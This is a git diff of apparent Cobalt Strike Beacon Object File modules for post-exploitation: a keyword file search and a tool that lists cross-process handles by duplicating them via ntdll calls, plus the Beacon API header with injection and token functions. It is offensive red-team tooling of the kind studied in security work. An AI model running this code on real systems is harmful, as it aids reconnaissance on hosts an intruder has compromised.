+					internal_printf("[+] File found: %s\n", fullPath);
 				}
 			}
 		} while (KERNEL32$FindNextFileA(hFind, &findFileData) != 0);
@@ -283,12 +261,13 @@ int go(char *args, int len) {
 	lpDirectory = BeaconDataExtract(&parser, NULL);
 	lpSearchPattern = BeaconDataExtract(&parser, NULL);
 	keyword = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
 	
-	BeaconPrintToStreamW(L"==========FILE SEARCH RESULTS==========\n");
+	internal_printf("====================FILE SEARCH RESULTS====================\n");
 	
     SearchFilesRecursive(lpDirectory, lpSearchPattern, keyword);
 	
-	BeaconOutputStreamW();
+	printoutput(TRUE);
 	BeaconPrintf(CALLBACK_OUTPUT, "[+] Finished searching!\n");
 
     return 0;

+ 11 - 17
KIT/FindFile/findfile.h

@@ -1,21 +1,5 @@
 #include <windows.h>  
 
-//BeaconPrintToStreamW + BeaconOutputStreamW
-#define MAX_STRING 8192
-INT g_iGarbage = 1;
-LPSTREAM g_lpStream = (LPSTREAM)1;
-LPWSTR g_lpwPrintBuffer = (LPWSTR)1;
-DECLSPEC_IMPORT HRESULT WINAPI OLE32$CreateStreamOnHGlobal(HGLOBAL hGlobal, BOOL fDeleteOnRelease, LPSTREAM *ppstm);
-WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
-WINBASEAPI int __cdecl MSVCRT$_vsnwprintf_s(wchar_t *buffer, size_t sizeOfBuffer, size_t count, const wchar_t *format, va_list argptr);
-WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);
-WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
-WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
-WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
-WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
-WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
-DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
-
 //SearchFileForKeyword + keywordMatches
 WINBASEAPI int WINAPI MSVCRT$strcmp(const char* str1, const char* str2);
 WINBASEAPI FILE* WINAPI MSVCRT$fopen(const char* filename, const char* mode);
@@ -38,7 +22,17 @@ DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$FindFirstFileA(LPCSTR lpFileName, LPWIN32
 DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindNextFileA(HANDLE hFindFile, LPWIN32_FIND_DATAA lpFindFileData);
 DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(void);
 DECLSPEC_IMPORT BOOL WINAPI KERNEL32$FindClose(HANDLE hFindFile);
-//DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, LPCSTR lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
 WINBASEAPI char* WINAPI MSVCRT$strcpy(char* dest, const char* src);
 WINBASEAPI char* WINAPI MSVCRT$strcat(char* dest, const char* src);
 WINBASEAPI int WINAPI MSVCRT$sprintf(char* buffer, const char* format, ...);
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/FindFile/findfile.o


+ 26 - 26
KIT/FindHandle/README.md

@@ -1,26 +1,26 @@
-# FindHandle
-Find `process` and `thread` handle types between processes.
-
-## Options
-**Search options:**
-* `all`: list all processes with handles to all other processes.
-* `h2p`: list all processes that have a handle to a specific process.
-* `p2h`: list handles from a specific process to all other processes.
-
-**Handle query options:**
-* `proc`: search for PROCESS type handles.
-* `thread`: search for THREAD type handles.
-
-**Targeted search options:**
-* `<pid>`: for both the `h2p` and `p2h` search options, specify the PID of the process your interested in.
-
-## Usage
-* `findhandle all <proc | thread>`
-* `findhandle h2p <proc | thread> <pid>`
-* `findhandle p2h <proc | thread> <pid>`
-
-## Compile
-- 1\. Make sure Visual Studio is installed and supports C/C++.
-- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
-- 3\. Run the `bofcompile.bat` script to compile the object file. 
-- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+# FindHandle
+Find `process` and `thread` handle types between processes.
+
+## Options
+**Search options:**
+* `all`: list all processes with handles to all other processes.
+* `h2p`: list all processes that have a handle to a specific process.
+* `p2h`: list handles from a specific process to all other processes.
+
+**Handle query options:**
+* `proc`: search for PROCESS type handles.
+* `thread`: search for THREAD type handles.
+
+**Targeted search options:**
+* `<pid>`: for both the `h2p` and `p2h` search options, specify the PID of the process your interested in.
+
+## Usage
+* `findhandle all <proc | thread>`
+* `findhandle h2p <proc | thread> <pid>`
+* `findhandle p2h <proc | thread> <pid>`
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 

+ 68 - 68
KIT/FindHandle/beacon.h

@@ -1,69 +1,69 @@
-/*
- * Beacon Object Files (BOF)
- * -------------------------
- * A Beacon Object File is a light-weight post exploitation tool that runs
- * with Beacon's inline-execute command.
- *
- * Additional BOF resources are available here:
- *   - https://github.com/Cobalt-Strike/bof_template
- *
- * Cobalt Strike 4.x
- * ChangeLog:
- *    1/25/2022: updated for 4.5
- */
-
-/* data API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} datap;
-
-DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
-DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
-DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
-DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
-DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
-DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
-
-/* format API */
-typedef struct {
-	char * original; /* the original buffer [so we can free it] */
-	char * buffer;   /* current pointer into our buffer */
-	int    length;   /* remaining length of data */
-	int    size;     /* total size of this buffer */
-} formatp;
-
-DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
-DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
-DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
-DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
-DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
-DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
-
-/* Output Functions */
-#define CALLBACK_OUTPUT      0x0
-#define CALLBACK_OUTPUT_OEM  0x1e
-#define CALLBACK_OUTPUT_UTF8 0x20
-#define CALLBACK_ERROR       0x0d
-
-DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
-DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
-
-
-/* Token Functions */
-DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
-DECLSPEC_IMPORT void   BeaconRevertToken();
-DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
-
-/* Spawn+Inject Functions */
-DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
-DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
-DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
-DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
-
-/* Utility Functions */
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
 DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 6
KIT/FindHandle/bofcompile.bat

@@ -1,6 +1,5 @@
-@ECHO OFF
-
-cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findhandle.c
-move /y findhandle.obj findhandle.o
-dumpbin /disasm findhandle.o > findhandle.disasm
-
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc findhandle.c
+move /y findhandle.obj findhandle.o
+

+ 255 - 282
KIT/FindHandle/findhandle.c

@@ -1,282 +1,255 @@
-#include <windows.h>
-#include <stdio.h>
-#include <shlwapi.h>
-#include <Psapi.h>
-#include "findhandle.h"
-#include "beacon.h"
-
-#pragma comment(lib, "shlwapi")
-
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
-	HRESULT hr = S_FALSE;
-	va_list argList;
-	DWORD dwWritten = 0;
-
-	if (g_lpStream <= (LPSTREAM)1) {
-		hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
-		if (FAILED(hr)) {
-			return hr;
-		}
-	}
-
-	if (g_lpwPrintBuffer <= (LPWSTR)1) { 
-		g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
-		if (g_lpwPrintBuffer == NULL) {
-			hr = E_FAIL;
-			goto CleanUp;
-		}
-	}
-
-	va_start(argList, lpwFormat);
-	if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
-		hr = E_FAIL;
-		goto CleanUp;
-	}
-
-	if (g_lpStream != NULL) {
-		if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
-			goto CleanUp;
-		}
-	}
-
-	hr = S_OK;
-
-CleanUp:
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR)); // Clear print buffer.
-	}
-
-	va_end(argList);
-	return hr;
-}
-
-//Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
-VOID BeaconOutputStreamW() {
-	STATSTG ssStreamData = { 0 };
-	SIZE_T cbSize = 0;
-	ULONG cbRead = 0;
-	LARGE_INTEGER pos;
-	LPWSTR lpwOutput = NULL;
-
-	if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
-		return;
-	}
-
-	cbSize = ssStreamData.cbSize.LowPart;
-	lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
-	if (lpwOutput != NULL) {
-		pos.QuadPart = 0;
-		if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
-			goto CleanUp;
-		}
-
-		if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {		
-			goto CleanUp;
-		}
-
-		BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
-	}
-
-CleanUp:
-
-	if (g_lpStream != NULL) {
-		g_lpStream->lpVtbl->Release(g_lpStream);
-		g_lpStream = NULL;
-	}
-
-	if (g_lpwPrintBuffer != NULL) {
-		MSVCRT$free(g_lpwPrintBuffer); 
-		g_lpwPrintBuffer = NULL;
-	}
-
-	if (lpwOutput != NULL) {
-		KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
-	}
-
-	return;
-}
-
-
-
-
-BOOL GetHandles(int basePid, const BYTE flags, int targetPid) {
-
-	NTSTATUS status;
-    PSYSTEM_HANDLE_INFORMATION handleInfo;
-    ULONG handleInfoSize = 0x10000;
-    HANDLE processHandle;
-    ULONG i;
-	char procHostName[MAX_PATH];
-	BOOL foundHandle = FALSE;
-	
-	
-	if (flags == QUERY_PROC) BeaconPrintToStreamW(L"[+] PROCESS HANDLE RESULTS\n==========================================");
-	else BeaconPrintToStreamW(L"[+] THREAD HANDLE RESULTS\n==========================================");
-	
-	
-    NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
-    NtDuplicateObject_t pNtDuplicateObject = (NtDuplicateObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDuplicateObject");
-    NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
-
-	WCHAR Filter[100];
-	switch(flags) {
-		case QUERY_PROC:	MSVCRT$swprintf_s(Filter, 50, L"%s", L"Process"); break;
-		default:			MSVCRT$swprintf_s(Filter, 50, L"%s", L"Thread"); break;
-	}
-
-    handleInfo = (PSYSTEM_HANDLE_INFORMATION) MSVCRT$malloc(handleInfoSize);
-    while ((status = pNtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
-			handleInfo = (PSYSTEM_HANDLE_INFORMATION)MSVCRT$realloc(handleInfo, handleInfoSize *= 2);
- 
-    if (status != 0) {
-        BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve process information!\n");
-        return 1;
-    }
-	
-    for (i = 0 ; i < handleInfo->NumberOfHandles ; i++) {
-        SYSTEM_HANDLE_TABLE_ENTRY_INFO objHandle = handleInfo->Handles[i];
-		
-        HANDLE dupHandle = NULL;
-        POBJECT_TYPE_INFORMATION objectTypeInfo;
-        PVOID objectNameInfo;
-        UNICODE_STRING objectName;
-        ULONG returnLength;
-		
-		if(objHandle.UniqueProcessId == 4) continue;
-		
-        if ((basePid != 0) && (objHandle.UniqueProcessId != basePid)) continue;
-		
-		if (objHandle.UniqueProcessId == KERNEL32$GetCurrentProcessId()) continue;
- 
- 
-		if (!(processHandle = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, objHandle.UniqueProcessId))) {
-			continue;
-		}
- 
-		KERNEL32$K32GetProcessImageFileNameA(processHandle, procHostName, MAX_PATH);
-		
-        if (!NT_SUCCESS(pNtDuplicateObject(processHandle, (void *) objHandle.HandleValue, KERNEL32$GetCurrentProcess(), &dupHandle, 0, 0, DUPLICATE_SAME_ACCESS))) {
-            continue;
-        }
- 
-        objectTypeInfo = (POBJECT_TYPE_INFORMATION) MSVCRT$malloc(0x1000);
-        if (!NT_SUCCESS(pNtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL))) {
-            KERNEL32$CloseHandle(dupHandle);
-            continue;
-        }
-	
-		if (!SHLWAPI$StrStrIW(Filter, objectTypeInfo->Name.Buffer)) {
-			MSVCRT$free(objectTypeInfo);
-            KERNEL32$CloseHandle(dupHandle);
-			continue;
-		}
-		
-        objectNameInfo = MSVCRT$malloc(0x1000);
-        objectName = *(PUNICODE_STRING) objectNameInfo;
-		
-		int procID = 0;
-		if (flags == QUERY_PROC) procID = KERNEL32$GetProcessId(dupHandle);
-		if (flags == QUERY_THREAD) procID = KERNEL32$GetProcessIdOfThread(dupHandle);
-
-		char procNameTemp[MAX_PATH];
-		if (procID != 0) {
-			if (flags == QUERY_THREAD) {
-				HANDLE pH = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, procID);
-				if (pH) KERNEL32$K32GetProcessImageFileNameA(pH, procNameTemp, MAX_PATH);
-				else MSVCRT$sprintf_s(procNameTemp, MAX_PATH, "%s", "non existent?");
-				KERNEL32$CloseHandle(pH);
-			}
-			else {
-				KERNEL32$K32GetProcessImageFileNameA(dupHandle, procNameTemp, MAX_PATH);
-			}
-		}
-		
-		if (targetPid != 0 && targetPid != procID) {
-			MSVCRT$free(objectTypeInfo);
-			MSVCRT$free(objectNameInfo);
-			KERNEL32$CloseHandle(dupHandle);
-			continue;
-		}
-		
-		if(procID != 0 && objHandle.UniqueProcessId != procID) {
-			WCHAR WprocHostName[100];
-			WCHAR WprocNameTemp[100];
-			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procHostName), -1, WprocHostName, 100);
-			KERNEL32$MultiByteToWideChar(CP_ACP, 0, SHLWAPI$PathFindFileNameA(procNameTemp), -1, WprocNameTemp, 100);
-				
-			BeaconPrintToStreamW(L"\nHandle from:\t%s [%d]\nHandle to:\t%s [%d]\nHandle object:\t%#x\nAccess rights:\t%#x\n", 
-				WprocHostName,
-				KERNEL32$GetProcessId(processHandle),
-				WprocNameTemp,
-				procID,
-				objHandle.HandleValue,
-				objHandle.GrantedAccess); //https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
-			
-			foundHandle = TRUE;
-		}
-
-        MSVCRT$free(objectTypeInfo);
-        MSVCRT$free(objectNameInfo);
-        KERNEL32$CloseHandle(dupHandle);
-    }
- 
-    MSVCRT$free(handleInfo);
-    KERNEL32$CloseHandle(processHandle);
-	
-	return foundHandle;
-}
-
-
-int go(char *args, int len) {
-	int basePid = 0;
-	int targetPid = 0;
-	BYTE flags;
-	CHAR *search;
-	CHAR *query;
-	BOOL res = NULL;
-	datap parser;
-	
-	BeaconDataParse(&parser, args, len);
-	search = BeaconDataExtract(&parser, NULL);
-	query = BeaconDataExtract(&parser, NULL);
-
-	if (MSVCRT$strcmp(query, "proc") == 0) flags = QUERY_PROC;
-	else if (MSVCRT$strcmp(query, "thread") == 0) flags = QUERY_THREAD;
-	else {
-		BeaconPrintf(CALLBACK_ERROR, "Please specify either proc (PROCESS_HANDLE) or 2 (THREAD_HANDLE) as handle search options.\n");
-		return 0;
-	}
-	
-	
-	if (MSVCRT$strcmp(search, "all") == 0) {
-		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes with handles to all other processes\n");
-		res = GetHandles(0, flags, 0);
-	}
-	else if (MSVCRT$strcmp(search, "h2p") == 0) {
-		targetPid = BeaconDataInt(&parser);
-		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating all processes that have a handle to PID: [%d]\n", targetPid);
-		res = GetHandles(0, flags, targetPid);
-	}
-	else if (MSVCRT$strcmp(search, "p2h") == 0) {
-		basePid = BeaconDataInt(&parser);
-		BeaconPrintf(CALLBACK_OUTPUT, "[*] Start enumerating handles from PID [%d] to all other processes\n", basePid);
-		res = GetHandles(basePid, flags, 0);
-	}
-	else {
-		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following process search options: ht | h2p | p2h\n");
-		return 0;
-	}
-	
-	if(!res) BeaconPrintf(CALLBACK_ERROR, "No handle found for this search query!\n");
-	else  {
-		BeaconOutputStreamW();
-		BeaconPrintf(CALLBACK_OUTPUT, "\n[+] DONE");
-	}
-
-    return 0;
-}
-
-
+#include <windows.h>
+#include <stdio.h>
+#include <shlwapi.h>
+#include <Psapi.h>
+#include "findhandle.h"
+#include "beacon.h"
+
+#pragma comment(lib, "shlwapi")
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+
+BOOL GetHandles(int basePid, const BYTE flags, int targetPid) {
+
+	NTSTATUS status;
+    PSYSTEM_HANDLE_INFORMATION handleInfo;
+    ULONG handleInfoSize = 0x10000;
+    HANDLE processHandle;
+    ULONG i;
+	char procHostName[MAX_PATH];
+	BOOL foundHandle = FALSE;
+	
+	
+	if (flags == QUERY_PROC) internal_printf("[+] PROCESS HANDLE RESULTS\n==========================================");
+	else internal_printf("[+] THREAD HANDLE RESULTS\n==========================================");
+	
+	
+    NtQuerySystemInformation_t pNtQuerySystemInformation = (NtQuerySystemInformation_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
+    NtDuplicateObject_t pNtDuplicateObject = (NtDuplicateObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtDuplicateObject");
+    NtQueryObject_t pNtQueryObject = (NtQueryObject_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryObject");
+
+	WCHAR Filter[100];
+	switch(flags) {
+		case QUERY_PROC:	MSVCRT$swprintf_s(Filter, 50, L"%s", L"Process"); break;
+		default:			MSVCRT$swprintf_s(Filter, 50, L"%s", L"Thread"); break;
+	}
+
+    handleInfo = (PSYSTEM_HANDLE_INFORMATION) MSVCRT$malloc(handleInfoSize);
+    while ((status = pNtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH)
+			handleInfo = (PSYSTEM_HANDLE_INFORMATION)MSVCRT$realloc(handleInfo, handleInfoSize *= 2);
+ 
+    if (status != 0) {
+        BeaconPrintf(CALLBACK_ERROR, "Failed to retrieve process information!\n");
+        return 1;
+    }
+	
+    for (i = 0 ; i < handleInfo->NumberOfHandles ; i++) {
+        SYSTEM_HANDLE_TABLE_ENTRY_INFO objHandle = handleInfo->Handles[i];
+		
+        HANDLE dupHandle = NULL;
+        POBJECT_TYPE_INFORMATION objectTypeInfo;
+        PVOID objectNameInfo;
+        UNICODE_STRING objectName;
+        ULONG returnLength;
+		
+		if(objHandle.UniqueProcessId == 4) continue;
+		
+        if ((basePid != 0) && (objHandle.UniqueProcessId != basePid)) continue;
+		
+		if (objHandle.UniqueProcessId == KERNEL32$GetCurrentProcessId()) continue;
+ 
+ 
+		if (!(processHandle = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, objHandle.UniqueProcessId))) {
+			continue;
+		}
+ 
+		KERNEL32$K32GetProcessImageFileNameA(processHandle, procHostName, MAX_PATH);
+		
+        if (!NT_SUCCESS(pNtDuplicateObject(processHandle, (void *) objHandle.HandleValue, KERNEL32$GetCurrentProcess(), &dupHandle, 0, 0, DUPLICATE_SAME_ACCESS))) {
+            continue;
+        }
+ 
+        objectTypeInfo = (POBJECT_TYPE_INFORMATION) MSVCRT$malloc(0x1000);
+        if (!NT_SUCCESS(pNtQueryObject(dupHandle, ObjectTypeInformation, objectTypeInfo, 0x1000, NULL))) {
+            KERNEL32$CloseHandle(dupHandle);
+            continue;
+        }
+	
+		if (!SHLWAPI$StrStrIW(Filter, objectTypeInfo->Name.Buffer)) {
+			MSVCRT$free(objectTypeInfo);
+            KERNEL32$CloseHandle(dupHandle);
+			continue;
+		}
+		
+        objectNameInfo = MSVCRT$malloc(0x1000);
+        objectName = *(PUNICODE_STRING) objectNameInfo;
+		
+		int procID = 0;
+		if (flags == QUERY_PROC) procID = KERNEL32$GetProcessId(dupHandle);
+		if (flags == QUERY_THREAD) procID = KERNEL32$GetProcessIdOfThread(dupHandle);
+
+		char procNameTemp[MAX_PATH];
+		if (procID != 0) {
+			if (flags == QUERY_THREAD) {
+				HANDLE pH = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE | PROCESS_QUERY_INFORMATION, FALSE, procID);
+				if (pH) KERNEL32$K32GetProcessImageFileNameA(pH, procNameTemp, MAX_PATH);
+				else MSVCRT$sprintf_s(procNameTemp, MAX_PATH, "%s", "non existent?");
+				KERNEL32$CloseHandle(pH);
+			}
+			else {
+				KERNEL32$K32GetProcessImageFileNameA(dupHandle, procNameTemp, MAX_PATH);
+			}
+		}
+		
